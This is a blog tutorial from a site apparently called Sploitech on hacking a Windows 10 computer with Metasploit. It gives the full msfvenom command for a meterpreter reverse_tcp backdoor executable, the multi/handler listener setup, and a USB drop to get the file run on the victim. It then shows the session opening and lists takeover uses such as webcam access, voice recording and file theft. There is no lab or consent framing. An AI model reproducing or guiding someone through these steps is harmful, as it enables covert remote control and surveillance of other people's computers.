Sploitech

How To Hack Windows 10 Using Metasploit And Kali Linux

Metasploit Windows Hack

How It Works:

We all know that all devices communicate using internet protocols certain protocols like TCP/IP (Transmission Control Protocol ) which are used to send and receive data packets through the internet by using Metasploit Framework we can reverse this connection and we can force the target computer to give us the full shell access of the target pc.

Tools Required:

  • Two System One Capable Of Running Kali Linux And Another Windows 10 Target Pc. (You can also use virtual machines to perform the hack)
  • Metasploit Software. (By default it would be installed)
  • Internet Access. (It is necessary to have internet access on both the machines because Metasploit requires internet access)

Step1: Getting Kali Ip Address

We have to get the IP address of our system to create a payload. It is very easy to get the IP address in Kali Linux just open a new terminal and

  • Type: hostname -I.
				
					kali@kali:~$ hostname -I
192.168.1.12
				
			

Note: Do not use lowercase ‘i’ use uppercase ‘I’.

Step2: Creating Payload For Target Os

We are going to create a basic meterpreter payload that is detectable by most antivirus programs if you want to create a Fud (Fully UnDetectable by Anti-Virus (AV) software) backdoor check out our article on:

				
					kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=8080 -f exe -o my_payload.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: my_payload.exe

				
			

This exe file which we have created is easily detectable by windows defender so if you want to test you will have to disable the antivirus protection.

  1. Msfvenom: name of the software which comes with Metasploit Framework That creates the payload.
  2. P: Payload to use. In the above command, we are creating a payload for windows.
  3. Lhost: Your machine IP address. To get the IP address in Kali Linux just type ifconfig in the terminal.
  4. Lport: Listening (or local) port, and it’s normally the port Kali listens. We are using port 8080 because most of the webservers work on this port.
  5. F: Output format of the payload file.
  6. O: Location of the file to be stored in

Now we have created our malicious exe file for windows. Now load the file to a Pendrive and leave the Pendrive because first, we have to set up our Metasploit settings.

Step3: Configuring Metasploit Framework

To set up Metasploit follow the given steps:

  • Type: msfconsole in a new terminal (Wait For Metasploit To Load)
  • Type: use exploit/multi/handler
				
					msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
				
			

We want to attack windows pc so we have to select the windows payload. Meterpreter is the name of the payload.

  • We are using Meterpreter because it is easy for beginners and it’s going to allow us to gain reverse shell access to the target pc.
  • Type: set payload windows/meterpreter/
    reverse_tcp
				
					msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
				
			

The listening host is the IP address of the attacker’s machine (Kali Linux)

  • Type: set lhost [Your Kali Linux IP]
				
					msf6 exploit(multi/handler) > set lhost 192.168.1.10
lhost => 192.168.1.10
				
			

The listening port is the port on which kali will receive the connection from the target pc. By default, it will be set to 4444 but we have to change it to 8080 because our exe file and many web servers use port 8080.

  • Type: set lport=8080
				
					msf6 exploit(multi/handler) > set lport 8080
lport => 8080
				
			

Now if you have followed the above steps correctly type options to get the list of the settings you have entered earlier and check if you have entered it correctly or not.

  • Type: options
				
					msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.10     yes       The listen address (an interface may be specified)
   LPORT     8080             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
				
			

Now we have to start the attack.

  • Type: exploit or run
				
					msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.10:8080 

				
			

Step4: Running The EXE On Target Computer

Now Copy The executable Payload which we created early from the /home/kali/ directory and paste it into a removable drive(Pendrive) and insert it into the target computer.

  • Once you double click the exe file it won’t do anything on the target pc but from the attacker pc you should see the lines given below ⇓
				
					msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.10:8080 
[*] Sending stage (175174 bytes) to 192.168.1.13
[*] Meterpreter session 1 opened (192.168.1.10:8080 -> 192.168.1.13:60574) at 2021-06-14 13:38:57 +0000

meterpreter >
				
			

How To Use Meterpreter Payload

Once your meterpreter session is opened you can do pretty much anything on the target pc. Some examples are:

  1. Open Webcam
  2. Record Voice
  3. Close Any Application
  4. Upload Or Download Any File To The Target Pc
  5. Shutdown Target Pc and much more

If You Want To Get The List The Operations You Can Perform On The Target Pc:

  • Type: help
				
					meterpreter > help
				
			

Liked This Article? Join Our Newsletter.

It’s Free! Get exclusive access to new tips, articles, guides, updates, and more.

Share It On:

Share on facebook
Facebook
Share on whatsapp
WhatsApp
Share on reddit
Reddit
Share on telegram
Telegram
Share on email
Email

COMMENTS:

Leave a Reply

Your email address will not be published. Required fields are marked *

You Might Also Like:

Want To Know About Latest Hacking Tricks?

It’s Free! Get exclusive access to new tips, articles, guides, updates, and more.